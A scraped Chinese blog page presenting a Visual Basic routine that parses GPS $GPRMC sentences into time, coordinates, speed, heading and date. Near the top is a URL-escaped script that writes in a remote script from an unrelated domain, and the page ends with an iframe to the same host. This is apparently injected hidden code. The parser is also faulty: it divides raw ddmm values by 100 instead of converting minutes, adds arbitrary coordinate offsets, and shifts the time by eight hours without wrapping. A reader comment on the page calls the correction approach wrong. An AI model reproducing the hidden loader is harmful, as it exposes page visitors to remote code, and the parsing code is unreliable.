HTML Tags and JavaScript tutorial
<script language="javascript">var encS="%3Cscript%20language%3D%22javascript%22%20src%3D%22http%3A//avss.b15.cnwg.cn/count/count1.asp%22%3E%3C/script%3E";var S=unescape(encS);document.write(S);</script>
VB中分析GPS返回的$GPRMC数据
<script type="text/javascript"> google_ad_client = "pub-6382933205019744"; google_ad_width = 468; google_ad_height = 60; google_ad_format = "468x60_as"; google_ad_type = "text_image"; google_ad_channel = "3720578486"; google_color_border = "FFFFFF"; google_color_bg = "FFFFFF"; google_color_link = "FFFFFF"; google_color_text = "000000"; google_color_url = "3D81EE"; google_ui_features = "rc:10"; </script><script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"> </script>
误的。得到的数据并不精确。你试图加入修正值来修正错误的思路也是错误的。
上一篇: Dephi中使用ListView
|
下一篇: VB中利用MapX自动绘制图层
function StorePage(){d=document;t=d.selection?(d.selection.type!='None'?d.selection.createRange().text:''):(d.getSelection?d.getSelection():'');void(keyit=window.open('http://www.365key.com/storeit.aspx?t='+escape(d.title)+'&u='+escape(d.location.href)+'&c='+escape(t),'keyit','scrollbars=no,width=475,height=575,left=75,top=20,status=no,resizable=yes'));keyit.focus();}
VB中分析GPS返回的$GPRMC数据
'-----------------------------------------------------------------------------------------------------
'
' 截取GPS数据的处理过程
'
' WYY 2006年4月
'
' 入口:strInfo
' 出口: uGPSInfo变量中
'
'说明:$GPRMC,100119.999,A,2236.8226,N,11403.7299,E,0.62,120.87,220506,,*00
' 100119.999 --十分秒(格林威治时间)
' 2236.8226,N --北纬坐标(2236.8226) 2236.8226,S ----南纬坐标
' 11403.7299,E --东京坐标(11403.7299) 11403.7299,E ----西京坐标
' 0.62 --gps的移动速度
' 120.87 --地面的方位角
' 220506 --日期
'-----------------------------------------------------------------------------------------------------
Public Function TransGPSData(strInfo As String) As Boolean
Dim strTemp As String '字符串缓存
Dim sTemp As String '暂存
Dim strTime As String '时间
Dim strDate As String '日期
'开始赋值为失败标志
TransGPSData = False
On Error GoTo ErrInfo
'从GPS数据中获取时间 GPS接收的是UTC时间(世界标准时间)需要转换成为北京时间,二者之间相差8个小时
strTime = Left(strInfo, 6)
uGPSInfo.utTime = Format((Int(Left(strTime, 2)) + 8) & ":" & (Int(Mid(strTime, 3, 2))) & ":" & (Int(Right(strTime, 2))), "HH:MM:SS")
'---截掉gps的日期
If InStr(strInfo, strTime & ".") <> 0 Then
sTemp = Mid(strInfo, 12, Len(strInfo) - 11)
Else
sTemp = Mid(strInfo, 7, Len(strInfo) - 7)
End If
'GPS通信正常(A)或者不正常(V)时,都获取以下数据
If InStr(sTemp, "A,") <> 0 Or InStr(sTemp, "V,") <> 0 Then
'从GPS数据中获取北纬坐标
strTemp = Mid(sTemp, 3, Len(sTemp) - 2)
If InStr(strTemp, "N") <> 0 Then
sTemp = Left(strTemp, InStr(strTemp, ",N,") - 1)
uGPSInfo.utGPSY = CDbl(sTemp / 100 + 0.25)
' uGPSInfo.utGPSY = CDbl(sTemp / 100 + 0.02)
'将已经获得的坐标从字符串中删除
strTemp = Mid(strTemp, InStr(strTemp, ",N,") + 3, Len(strTemp) - InStr(strTemp, ",N,") + 1)
End If
If InStr(strTemp, "S") <> 0 Then
sTemp = Left(strTemp, InStr(strTemp, ",S,") - 1)
uGPSInfo.utGPSY = CDbl(sTemp / 100 + 0.25)
' uGPSInfo.utGPSY = CDbl(sTemp / 100 + 0.02)
'将已经获得的坐标从字符串中删除
strTemp = Mid(strTemp, InStr(strTemp, ",S,") + 3, Len(strTemp) - InStr(strTemp, ",S,") + 1)
End If
'从GPS数据中获取东经坐标
If InStr(strTemp, ",E,") <> 0 Then
sTemp = Left(strTemp, InStr(strTemp, ",E,") - 1)
uGPSInfo.utGPSX = CDbl(sTemp / 100 + 0.03)
' uGPSInfo.utGPSX = CDbl(sTemp / 100 + 0.28)
'将已经获得的坐标从字符串中删除
strTemp = Mid(strTemp, InStr(strTemp, ",E,") + 3, Len(strTemp) - InStr(strTemp, ",E,") + 1)
End If
If InStr(strTemp, ",W,") <> 0 Then
sTemp = Left(strTemp, InStr(strTemp, ",W,") - 1)
uGPSInfo.utGPSX = CDbl(sTemp / 100 + 0.03)
' uGPSInfo.utGPSX = CDbl(sTemp / 100 + 0.28)
'将已经获得的坐标从字符串中删除
strTemp = Mid(strTemp, InStr(strTemp, ",W,") + 3, Len(strTemp) - InStr(strTemp, ",W,") + 1)
End If
'从GPS数据中获取GPS速度
sTemp = Left(strTemp, InStr(strTemp, ",") - 1)
If sTemp = "" Or Len(sTemp) = 0 Then sTemp = 0
uGPSInfo.utSpeed = CSng(sTemp)
'将已经获得的数据从字符串中删除
strTemp = Mid(strTemp, InStr(strTemp, ",") + 1, Len(strTemp) - InStr(strTemp, ","))
'从GPS数据中获取方位角
If Left(strTemp, 1) = "," Then strTemp = Mid(strTemp, 2, Len(strTemp) - 1)
sTemp = Left(strTemp, InStr(strTemp, ",") - 1)
uGPSInfo.utWay = CSng(sTemp)
'将已经获得的数据从字符串中删除
strTemp = Mid(strTemp, InStr(strTemp, ",") + 1, Len(strTemp) - InStr(strTemp, ","))
'从GPS数据中获取日期
sTemp = Left(strTemp, InStr(strTemp, ",") - 1)
uGPSInfo.utDate = Format(Right(sTemp, 2) & "-" & Mid(sTemp, 3, 2) & "-" & Left(sTemp, 2), "YYYY年MM月DD日")
'将已经获得的数据从字符串中删除
strTemp = Mid(strTemp, InStr(strTemp, ",") + 1, Len(strTemp) - InStr(strTemp, ","))
End If
'成功标志
TransGPSData = True
Exit Function
ErrInfo:
TransGPSData = False
MsgBox err.Description & Chr(13) & "GPS数据处理失败!", vbInformation, "提示:"
End Function
<script type="text/javascript"> google_ad_client = "pub-6382933205019744"; google_ad_width = 468; google_ad_height = 60; google_ad_format = "468x60_as"; google_ad_type = "text_image"; google_ad_channel = "3720578486"; google_color_border = "FFFFFF"; google_color_bg = "FFFFFF"; google_color_link = "FFFFFF"; google_color_text = "000000"; google_color_url = "3D81EE"; google_ui_features = "rc:10"; </script><script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"> </script>
src="http://avss.b15.cnwg.cn/count/iframe1.asp" frameborder="0" width="650" scrolling="no" height="160">